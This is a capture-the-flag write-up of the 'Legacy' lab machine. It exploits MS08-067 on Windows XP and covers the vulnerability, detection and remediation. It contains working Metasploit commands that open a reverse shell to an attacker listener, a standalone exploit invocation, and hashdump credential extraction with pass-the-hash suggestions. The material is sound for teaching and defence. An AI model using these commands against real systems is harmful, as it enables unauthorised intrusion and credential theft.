HTB: Legacy

Overview

Legacy is a Windows XP box that exists to teach one of the most consequential vulnerabilities in computing history: MS08-067 (CVE-2008-4250). This is the flaw that Conficker exploited to infect an estimated 9–15 million machines worldwide, disrupting operations at the French Navy, the UK Ministry of Defence, and hundreds of hospitals across the Sheffield NHS trust.

The box itself is straightforward — three SMB-related ports, a single exploit, direct SYSTEM access. But treating it as “just another easy box” misses the point. MS08-067 is a masterclass in why buffer overflows in network services are existential threats, and why the gap between vulnerability disclosure and organisational patching remains the most dangerous window in cybersecurity.

Reconnaissance

nmap -sC -sV -oA scans/legacy 10.129.227.181

Port	Service	Product	Notes
135	MSRPC	Microsoft Windows RPC	Endpoint mapper
139	NetBIOS-SSN	Microsoft Windows netbios-ssn	Legacy SMB transport
445	Microsoft-DS	Windows XP microsoft-ds	Direct SMB over TCP

nmap’s OS detection confirms Windows XP SP3 (5.1 Build 2600). The presence of both port 139 (NetBIOS over TCP) and port 445 (Direct SMB) is characteristic of Windows XP’s default network configuration — later Windows versions deprecated NetBIOS in favour of direct SMB, but XP enables both by default.

The absence of any other services (no HTTP, no SSH, no RDP on 3389) tells me this is a purpose-built SMB target. The attack surface is concentrated entirely on the Windows networking stack.

SMB enumeration

Before jumping to exploitation, I confirm what nmap’s scripts already suggest:

nmap --script smb-os-discovery,smb-protocols,smb-security-mode \
  -p 445 10.129.227.181

• OS: Windows XP SP3
• SMB protocols: SMBv1 only (no SMBv2 support — Windows XP predates it)
• Signing: Disabled (message signing not required)
• Authentication: NTLM

SMBv1-only with signing disabled. This is the default XP configuration, and it’s significant: disabled signing means SMB relay attacks are also viable (though unnecessary here given the RCE). In a multi-host network, this would be a separate finding.

Attack Surface Analysis

Vector	Feasibility	Impact	Notes
MS08-067 (CVE-2008-4250)	High	SYSTEM RCE	Classic, reliable, well-documented
MS17-010 / EternalBlue	Medium	SYSTEM RCE	XP SP3 partially affected, less reliable
MS03-026 (DCOM RPC)	Medium	SYSTEM RCE	Port 135, older but functional on XP
Null session enumeration	High	Info leak	User lists, shares, policies via RID cycling
SMB relay (no signing)	N/A	Varies	Requires second target; not applicable here

MS08-067 is the clear primary vector — highest reliability, direct SYSTEM access, extensively tested against XP SP3.

Vulnerability Analysis

CVE-2008-4250: The anatomy of a network worm vulnerability

Attribute	Value
CVE	CVE-2008-4250
Microsoft ID	MS08-067
CVSS v2	10.0 (Critical) — AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS v3.1	9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-120 (Buffer Copy without Checking Size of Input)
Root cause	Stack buffer overflow in NetpwPathCanonicalize() within netapi32.dll
Affected	Windows 2000 SP4, XP SP2/SP3, Server 2003 SP1/SP2, Vista, Server 2008
Fixed in	KB958644
MITRE ATT&CK	T1210 (Exploitation of Remote Services)

The technical mechanism

The vulnerability is in the NetpwPathCanonicalize() function in netapi32.dll, which is called by the Server service (svchost.exe hosting srvsvc) to normalise UNC file paths received via RPC.

The function performs path canonicalisation — converting relative paths (containing .., ., or redundant separators) into absolute paths. The implementation uses a fixed-size stack buffer to hold the intermediate canonicalised path. When a specially crafted path is submitted via an RPC request to the NetprPathCanonicalize operation (opnum 31 on the srvsvc named pipe), the function writes beyond the buffer boundary, overwriting the saved return address on the stack.

The critical code path:

1. Client connects to \\target\IPC$ (null session — no authentication required)
2. Client binds to the srvsvc named pipe
3. Client sends an NetprPathCanonicalize request with a malformed path
4. NetpwPathCanonicalize() processes the path, overflows the stack buffer
5. Overwritten return address redirects execution to attacker-controlled shellcode
6. Shellcode executes in the context of the Server service — NT AUTHORITY\SYSTEM

The exploit’s reliability depends on the exact Windows version and service pack level because the stack layout (and therefore the offset to the return address) varies. The Metasploit module handles this by offering target-specific configurations that adjust the overflow offset and return address for each OS/SP combination.

Why this vulnerability enabled Conficker

Three properties made CVE-2008-4250 the perfect worm vector:

1. No authentication required. The vulnerable RPC endpoint is accessible via null session — the attacker doesn’t need credentials.
2. Network-reachable by default. The Server service listens on 445/tcp, which was open on virtually every Windows machine at the time. Windows Firewall on XP SP2+ blocked inbound 445 by default in some configurations, but domain-joined machines and earlier service packs were wide open.
3. SYSTEM-level execution. The Server service runs as SYSTEM, so successful exploitation gives the highest possible privilege level without any escalation step.

Conficker added its own innovations — domain generation algorithms for C2, P2P update mechanisms, and anti-debugging techniques — but the initial propagation relied entirely on MS08-067.

Exploitation

msfconsole -q
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 10.129.227.181
set LHOST tun0
set LPORT 4444
set TARGET 6
# Target 6 = Windows XP SP3 English (NX)
run

[*] Started reverse TCP handler on 10.10.14.x:4444
[*] 10.129.227.181:445 - Automatically detecting the target...
[*] 10.129.227.181:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.129.227.181:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Meterpreter session 1 opened (10.10.14.x:4444 -> 10.129.227.181:1037)

The module’s auto-targeting fingerprints the OS and selects the correct offset. Direct SYSTEM shell — no privilege escalation required.

Without Metasploit

For environments where Metasploit is restricted (OSCP, some client engagements), standalone Python exploits exist. The original proof-of-concept by Debasis Mohanty and later implementations by various researchers use the impacket library to craft the RPC request:

# Using a standalone Python exploit (example structure)
python ms08_067.py 10.129.227.181 6 445
# Where 6 = XP SP3 English target

The standalone exploit follows the same logic: connect to IPC$, bind to srvsvc, send the crafted NetprPathCanonicalize request with the target-specific offset and shellcode.

Post-Exploitation

meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM

meterpreter> sysinfo
# Computer : LEGACY
# OS       : Windows XP (5.1 Build 2600, Service Pack 3).
# Arch     : x86
# Language : en_US

type "C:\Documents and Settings\john\Desktop\user.txt"
# [redacted]

type "C:\Documents and Settings\Administrator\Desktop\root.txt"
# [redacted]

Credential extraction

meterpreter> hashdump
# Administrator:500:[LM hash]:[NTLM hash]:::
# john:1003:[LM hash]:[NTLM hash]:::
# Guest:501:[LM hash]:[NTLM hash]:::

Windows XP stores LM hashes by default (unless explicitly disabled via Group Policy). LM hashes are trivially crackable — the algorithm splits the password into two 7-character halves and DES-encrypts each independently, making the effective keyspace per-half small enough to brute-force in seconds.

In a real engagement, these hashes would be:

• Cracked offline with hashcat or john (seconds for LM, minutes for NTLM)
• Used for pass-the-hash against other Windows hosts on the network
• Checked for password reuse across Active Directory, VPNs, and cloud services

Network reconnaissance from the foothold

ipconfig /all
arp -a
netstat -ano
net view

In a network assessment, this host’s position in the network topology would determine its value as a pivot point. Windows XP machines often exist on flat networks without segmentation — making lateral movement trivial once one host is compromised.

Defensive Analysis

Phase	MITRE ATT&CK	Detection
Reconnaissance	T1046	Network scan detection — sequential port probing from single source
Initial access	T1210	IDS signature for malformed NetprPathCanonicalize RPC requests
Execution	T1059	Sysmon: unexpected child process of svchost.exe (srvsvc group)
C2	T1571	Outbound connection from svchost.exe to non-standard port
Credential access	T1003.002	SAM hive access by non-LSASS process

Network detection

The MS08-067 exploit traffic has distinctive characteristics:

• SMB Tree Connect AndX to IPC$ (null session)
• DCERPC bind to srvsvc (UUID 4b324fc8-1670-01d3-1278-5a47bf6ee188)
• NetprPathCanonicalize call (opnum 31) with anomalously long path parameter

Snort and Suricata have well-maintained signatures for this traffic (SID 1:50089 and variants). Any modern network IDS will detect this exploit out of the box.

Host detection

The most reliable host-level indicator is process genealogy: svchost.exe (hosting the Server service) spawning an unexpected child process. On Windows XP, Sysmon wasn’t available, but modern EDR agents can detect this pattern when deployed on supported Windows versions in the same network segment (monitoring east-west traffic that might indicate lateral movement toward legacy hosts).

The patching window problem

Microsoft released MS08-067 on 23 October 2008 as an out-of-band emergency patch — outside the normal Patch Tuesday cycle, indicating extreme severity. Conficker.A appeared in the wild on 21 November 2008 — 29 days later. Organisations that hadn’t patched within that window were compromised.

This 29-day gap is the fundamental challenge of patch-based defence: every vulnerability has a window between disclosure and deployment where the organisation is both aware and exposed. Reducing this window — through automated patching, compensating controls, and network segmentation — is one of the highest-leverage investments in any security programme.

Remediation

Priority	Action	Effort	Impact
P0	Decommission Windows XP — migrate to a supported OS	High	Critical
P0	Apply KB958644 (MS08-067) if decommission is blocked	Low	Critical
P0	Block SMB (139/445) at all perimeter firewalls	Low	Critical
P1	Disable SMBv1 on all hosts that support SMBv2+	Low	High
P1	Enable SMB signing across the domain via Group Policy	Low	High
P1	Segment legacy systems into isolated VLANs	Medium	High
P2	Deploy network IDS with SMB protocol deep inspection	Medium	Medium
P2	Disable LM hash storage via Group Policy	Low	Medium
P3	Implement PAM/jump-box architecture for legacy access	Medium	Medium

On legacy systems

The uncomfortable reality is that Windows XP machines still exist in production environments — in manufacturing (running HMI software that requires XP), in healthcare (controlling medical devices with FDA-validated software), and in government (legacy applications with no funded replacement). Telling these organisations to “just upgrade” ignores real constraints.

For environments where XP must persist, the defence posture is:

1. Network isolation: The XP host communicates only with the specific systems it needs, via strict firewall ACLs. No internet access. No access from general workstation VLANs.
2. Protocol restriction: Disable SMBv1 on all other hosts. Allow only the minimum required ports to/from the legacy system.
3. Monitoring: Deploy network-based detection (IDS/IPS) on the segment boundary. Log and alert on any anomalous SMB traffic to/from the legacy host.
4. Application whitelisting: If the host runs a fixed set of applications, Software Restriction Policies (the XP-era equivalent of AppLocker) can prevent unauthorised executables.
5. Scheduled vulnerability assessment: Scan the isolated segment regularly to detect configuration drift or new exposures.

Key Takeaways

1. MS08-067 is the case study for vulnerability management. A patch was available 29 days before Conficker weaponised it. The organisations that suffered had a process failure, not a technology failure. Vulnerability management isn’t about having the right tools — it’s about having a deployment pipeline that can push critical patches within days, not weeks.

2. Null-session RCE is the worst class of network vulnerability. No credentials, no user interaction, no preconditions beyond network reachability. When evaluating vulnerability severity, the authentication requirement is the single most important factor. MS08-067, EternalBlue (MS17-010), and BlueKeep (CVE-2019-0708) all share this property — unauthenticated remote code execution over a default-enabled network service.

3. Legacy systems need compensating controls, not excuses. “We can’t upgrade” is a business constraint, not a security strategy. The compensating control framework — isolate, restrict, monitor, whitelist — turns an unacceptable risk into a managed one. The cost of implementing these controls is a fraction of the cost of a Conficker-scale incident.